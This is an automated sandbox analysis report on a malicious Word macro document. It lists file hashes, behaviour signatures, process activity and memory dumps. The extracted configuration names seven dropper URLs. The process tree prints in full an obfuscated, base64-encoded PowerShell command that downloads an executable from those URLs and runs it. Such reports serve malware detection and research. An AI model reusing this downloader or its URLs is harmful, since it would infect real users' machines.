Analysis

  • max time kernel
    122s
  • max time network
    127s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    20/09/2024, 14:20

General

  • Target

    edc64fe168d272542cb11c3e1f3527af_JaffaCakes118.doc

  • Size

    192KB

  • MD5

    edc64fe168d272542cb11c3e1f3527af

  • SHA1

    7ed0e29f1093a04015144a05ad8d555e2bcba64e

  • SHA256

    b2bff83e324b221fb399d81c45adc6aa217cf5c97c2b7cacd5d92e8fb8757373

  • SHA512

    12bf8ef1612c5766adc334e4d421c70836379dc9ec2ef8a4b8fb92b6f2dfb6887f7d9d253e524b7a06761882e332710ddaf4329ea423e18d8352d02f014af223

  • SSDEEP

    1536:+rdi1Ir77zOH98Wj2gpng9+a9ik1q9Dba/qrHEs+nPyNdOx7ceX:+rfrzOH98ipgIva/qTX+nPyLOBFX

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://zplusshopping.com/wp-content/plugins/8ek/

exe.dropper

https://www.cupgel.com/__MACOSX/3/

exe.dropper

http://freespiritmind.com/MASD/HowTo/css/J/

exe.dropper

http://crewnecksusa.com/wp-content/NJ/

exe.dropper

http://www.dougsuniverse.com/pics/yL8/

exe.dropper

https://idilsoft.com/admin/B/

exe.dropper

https://guhaasmart.com/wp-content/s/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 6 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\edc64fe168d272542cb11c3e1f3527af_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2656
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2144
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -en JABHAHkAZwBwAG8AaAA1AD0AKAAnAE8AYQAnACsAJwBzACcAKwAoACcAaQAnACsAJwBzADMAcAAnACkAKQA7AC4AKAAnAG4AZQAnACsAJwB3AC0AaQB0AGUAbQAnACkAIAAkAGUAbgBWADoAVQBzAGUAUgBwAFIAbwBGAEkATABlAFwAVwBjADUAUwB1AHcAZABcAGkASgB6AGUAcgBsAEQAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABJAFIARQBDAHQATwByAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAZQBDAHUAUgBJAGAAVABgAHkAYABwAGAAUgBvAHQAbwBgAGMAbwBsACIAIAA9ACAAKAAoACcAdABsACcAKwAnAHMAMQAyACcAKQArACgAJwAsACAAJwArACcAdABsACcAKQArACgAJwBzACcAKwAnADEAMQAsACcAKQArACgAJwAgACcAKwAnAHQAbABzACcAKQApADsAJABBAGwAMQBvADQAcwAwACAAPQAgACgAKAAnAEYAMQAnACsAJwByAHgAJwApACsAKAAnAGcANAAnACsAJwB2ACcAKQArACcANwAnACkAOwAkAFkAMQBjAGgAaABwAHoAPQAoACgAJwBCACcAKwAnAGYAZgBsAHQAJwApACsAJwB2ACcAKwAnAHkAJwApADsAJABNAHgAcQBiAGwANwBsAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAoACcAZABWAFgAJwArACcAVwBjADUAJwApACsAJwBzACcAKwAnAHUAJwArACgAJwB3AGQAJwArACcAZAAnACkAKwAoACcAVgBYACcAKwAnAEkAJwApACsAKAAnAGoAJwArACcAegBlACcAKwAnAHIAbABkAGQAVgBYACcAKQApACAAIAAtAHIARQBQAGwAQQBDAEUAIAAoAFsAQwBoAEEAUgBdADEAMAAwACsAWwBDAGgAQQBSAF0AOAA2ACsAWwBDAGgAQQBSAF0AOAA4ACkALABbAEMAaABBAFIAXQA5ADIAKQArACQAQQBsADEAbwA0AHMAMAArACgAKAAnAC4AZQAnACsAJwB4ACcAKQArACcAZQAnACkAOwAkAFgAOQB0AGQANgBfAHUAPQAoACcAQQAnACsAJwA4ADMAJwArACgAJwA1ACcAKwAnAHEAcgBxACcAKQApADsAJABRAHUAMwB5AGMANQBqAD0AJgAoACcAbgBlAHcALQBvACcAKwAnAGIAagAnACsAJwBlAGMAdAAnACkAIABOAGUAVAAuAFcARQBCAEMAbABJAEUATgB0ADsAJABWADcAOABzAHUAaABmAD0AKAAoACcAaAB0ACcAKwAnAHQAcAAnACkAKwAoACcAOgAvACcAKwAnAC8AJwApACsAJwB6ACcAKwAnAHAAJwArACcAbAB1ACcAKwAnAHMAJwArACcAcwAnACsAKAAnAGgAJwArACcAbwBwAHAAJwArACcAaQBuAGcAJwApACsAJwAuAGMAJwArACcAbwAnACsAKAAnAG0ALwAnACsAJwB3AHAALQAnACkAKwAnAGMAJwArACcAbwBuACcAKwAnAHQAZQAnACsAJwBuAHQAJwArACgAJwAvAHAAJwArACcAbAAnACkAKwAoACcAdQBnAGkAJwArACcAbgAnACkAKwAnAHMALwAnACsAKAAnADgAZQBrACcAKwAnAC8AJwApACsAKAAnACoAaAAnACsAJwB0AHQAcAAnACkAKwAnAHMAJwArACgAJwA6AC8AJwArACcALwB3ACcAKQArACcAdwB3ACcAKwAnAC4AYwAnACsAKAAnAHUAcABnAGUAJwArACcAbAAuACcAKQArACgAJwBjACcAKwAnAG8AbQAnACkAKwAoACcALwAnACsAJwBfACcAKwAnAF8ATQBBAEMATwBTAFgAJwArACcALwAzACcAKwAnAC8AKgBoAHQAJwApACsAJwB0ACcAKwAoACcAcAA6ACcAKwAnAC8ALwAnACkAKwAnAGYAcgAnACsAKAAnAGUAZQBzACcAKwAnAHAAJwApACsAJwBpACcAKwAoACcAcgBpAHQAbQBpAG4AZAAnACsAJwAuAGMAJwArACcAbwBtACcAKQArACgAJwAvACcAKwAnAE0AQQBTAEQALwBIACcAKwAnAG8AdwAnACkAKwAoACcAVAAnACsAJwBvAC8AYwBzACcAKQArACcAcwAnACsAKAAnAC8ASgAvACoAaAAnACsAJwB0ACcAKQArACgAJwB0AHAAOgAnACsAJwAvAC8AYwByACcAKQArACcAZQAnACsAKAAnAHcAJwArACcAbgBlACcAKQArACgAJwBjACcAKwAnAGsAcwAnACkAKwAoACcAdQAnACsAJwBzAGEAJwApACsAKAAnAC4AYwBvACcAKwAnAG0AJwApACsAKAAnAC8AJwArACcAdwBwACcAKQArACgAJwAtAGMAbwAnACsAJwBuAHQAJwApACsAJwBlAG4AJwArACgAJwB0AC8ATgBKACcAKwAnAC8AKgAnACsAJwBoAHQAdAAnACkAKwAnAHAAOgAnACsAKAAnAC8ALwB3ACcAKwAnAHcAdwAuACcAKwAnAGQAbwAnACkAKwAnAHUAZwAnACsAJwBzAHUAJwArACgAJwBuAGkAJwArACcAdgBlACcAKQArACcAcgBzACcAKwAnAGUALgAnACsAJwBjACcAKwAoACcAbwAnACsAJwBtAC8AJwApACsAJwBwAGkAJwArACcAYwBzACcAKwAnAC8AeQAnACsAKAAnAEwAOAAvACcAKwAnACoAJwArACcAaAB0AHQAcAAnACkAKwAoACcAcwA6AC8ALwBpAGQAaQBsACcAKwAnAHMAJwArACcAbwAnACkAKwAoACcAZgB0AC4AJwArACcAYwAnACkAKwAnAG8AJwArACgAJwBtAC8AYQBkAG0AaQAnACsAJwBuAC8AQgAvACcAKwAnACoAaAAnACsAJwB0ACcAKQArACcAdABwACcAKwAnAHMAJwArACgAJwA6ACcAKwAnAC8ALwBnAHUAJwArACcAaABhAGEAJwArACcAcwAnACkAKwAnAG0AJwArACcAYQAnACsAJwByACcAKwAoACcAdAAuACcAKwAnAGMAbwBtACcAKQArACgAJwAvAHcAJwArACcAcAAnACkAKwAnAC0AYwAnACsAJwBvAG4AJwArACcAdAAnACsAJwBlACcAKwAnAG4AJwArACcAdAAnACsAJwAvACcAKwAnAHMALwAnACkALgAiAFMAcABsAGAAaQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQASAA3AHEAcgAyADIAbgA9ACgAJwBVAGEAJwArACgAJwBxACcAKwAnAHcAagBuAHkAJwApACkAOwBmAG8AcgBlAGEAYwBoACgAJABFAGYAeQBuADEAXwBrACAAaQBuACAAJABWADcAOABzAHUAaABmACkAewB0AHIAeQB7ACQAUQB1ADMAeQBjADUAagAuACIAZABgAE8AVwBuAGAATABvAEEAZABmAGkAbABlACIAKAAkAEUAZgB5AG4AMQBfAGsALAAgACQATQB4AHEAYgBsADcAbAApADsAJABWAG8AawA3AGIANAB6AD0AKAAoACcARQBpACcAKwAnAGgAawAnACkAKwAoACcAeAAnACsAJwA3ADMAJwApACkAOwBJAGYAIAAoACgAJgAoACcARwBlAHQALQAnACsAJwBJAHQAZQBtACcAKQAgACQATQB4AHEAYgBsADcAbAApAC4AIgBsAGAAZQBgAE4AZwBUAGgAIgAgAC0AZwBlACAAMwAxADcAMQA2ACkAIAB7AC4AKAAnAEkAJwArACcAbgB2AG8AawAnACsAJwBlAC0AJwArACcASQB0AGUAbQAnACkAKAAkAE0AeABxAGIAbAA3AGwAKQA7ACQAQgBhAHgAZgBnAHMAZgA9ACgAJwBZAGsAJwArACcANQAnACsAKAAnAHUAJwArACcAOQB2AHgAJwApACkAOwBiAHIAZQBhAGsAOwAkAFIAYQBiAGgAdQBjAHMAPQAoACgAJwBNACcAKwAnAGwAdAAnACkAKwAoACcAdQAnACsAJwBjADAAOQAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAVwA5AGgAbQBiAF8AeAA9ACgAKAAnAEQAbAAnACsAJwBkACcAKQArACgAJwBzADYAbwAnACsAJwBoACcAKQApAA==
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2764

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      19KB

      MD5

      06902529ecae9f3cafe492d1e2c2a5b8

      SHA1

      52a6a2f5acf8a6132e80cf509a6847213ca17538

      SHA256

      e73a94bd66b5b03fc101bac5c47662fefdda4f24c86868b5682f03d316ed406c

      SHA512

      8dbd4a8e262d74efacb073e164fe0ee4fd8c670a8292bc1e04909d4420b68e063558513be3ba66fa28c7b3568753cdea2d6ef6ef286dc2d65dfa54fefbddfd52

    • memory/2656-8-0x0000000000370000-0x0000000000470000-memory.dmp

      Filesize

      1024KB

    • memory/2656-32-0x0000000000370000-0x0000000000470000-memory.dmp

      Filesize

      1024KB

    • memory/2656-5-0x0000000000370000-0x0000000000470000-memory.dmp

      Filesize

      1024KB

    • memory/2656-6-0x0000000000370000-0x0000000000470000-memory.dmp

      Filesize

      1024KB

    • memory/2656-7-0x0000000005E20000-0x0000000005F20000-memory.dmp

      Filesize

      1024KB

    • memory/2656-10-0x0000000000370000-0x0000000000470000-memory.dmp

      Filesize

      1024KB

    • memory/2656-20-0x0000000000370000-0x0000000000470000-memory.dmp

      Filesize

      1024KB

    • memory/2656-22-0x0000000000370000-0x0000000000470000-memory.dmp

      Filesize

      1024KB

    • memory/2656-21-0x0000000000370000-0x0000000000470000-memory.dmp

      Filesize

      1024KB

    • memory/2656-19-0x0000000000370000-0x0000000000470000-memory.dmp

      Filesize

      1024KB

    • memory/2656-18-0x0000000000370000-0x0000000000470000-memory.dmp

      Filesize

      1024KB

    • memory/2656-17-0x0000000000370000-0x0000000000470000-memory.dmp

      Filesize

      1024KB

    • memory/2656-16-0x0000000000370000-0x0000000000470000-memory.dmp

      Filesize

      1024KB

    • memory/2656-14-0x0000000000370000-0x0000000000470000-memory.dmp

      Filesize

      1024KB

    • memory/2656-15-0x0000000000370000-0x0000000000470000-memory.dmp

      Filesize

      1024KB

    • memory/2656-13-0x0000000000370000-0x0000000000470000-memory.dmp

      Filesize

      1024KB

    • memory/2656-12-0x0000000000370000-0x0000000000470000-memory.dmp

      Filesize

      1024KB

    • memory/2656-11-0x0000000000370000-0x0000000000470000-memory.dmp

      Filesize

      1024KB

    • memory/2656-9-0x0000000000370000-0x0000000000470000-memory.dmp

      Filesize

      1024KB

    • memory/2656-0-0x000000002F771000-0x000000002F772000-memory.dmp

      Filesize

      4KB

    • memory/2656-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2656-31-0x0000000000370000-0x0000000000470000-memory.dmp

      Filesize

      1024KB

    • memory/2656-27-0x0000000000370000-0x0000000000470000-memory.dmp

      Filesize

      1024KB

    • memory/2656-30-0x0000000000370000-0x0000000000470000-memory.dmp

      Filesize

      1024KB

    • memory/2656-29-0x0000000000370000-0x0000000000470000-memory.dmp

      Filesize

      1024KB

    • memory/2656-28-0x0000000000370000-0x0000000000470000-memory.dmp

      Filesize

      1024KB

    • memory/2656-33-0x0000000000370000-0x0000000000470000-memory.dmp

      Filesize

      1024KB

    • memory/2656-26-0x0000000000370000-0x0000000000470000-memory.dmp

      Filesize

      1024KB

    • memory/2656-25-0x0000000000370000-0x0000000000470000-memory.dmp

      Filesize

      1024KB

    • memory/2656-24-0x0000000000370000-0x0000000000470000-memory.dmp

      Filesize

      1024KB

    • memory/2656-23-0x0000000000370000-0x0000000000470000-memory.dmp

      Filesize

      1024KB

    • memory/2656-71-0x0000000071A4D000-0x0000000071A58000-memory.dmp

      Filesize

      44KB

    • memory/2656-70-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2656-45-0x0000000071A4D000-0x0000000071A58000-memory.dmp

      Filesize

      44KB

    • memory/2656-46-0x0000000000370000-0x0000000000470000-memory.dmp

      Filesize

      1024KB

    • memory/2656-47-0x0000000000370000-0x0000000000470000-memory.dmp

      Filesize

      1024KB

    • memory/2656-49-0x0000000000370000-0x0000000000470000-memory.dmp

      Filesize

      1024KB

    • memory/2656-50-0x0000000000370000-0x0000000000470000-memory.dmp

      Filesize

      1024KB

    • memory/2656-2-0x0000000071A4D000-0x0000000071A58000-memory.dmp

      Filesize

      44KB

    • memory/2764-40-0x0000000002310000-0x0000000002318000-memory.dmp

      Filesize

      32KB

    • memory/2764-39-0x000000001B3D0000-0x000000001B6B2000-memory.dmp

      Filesize

      2.9MB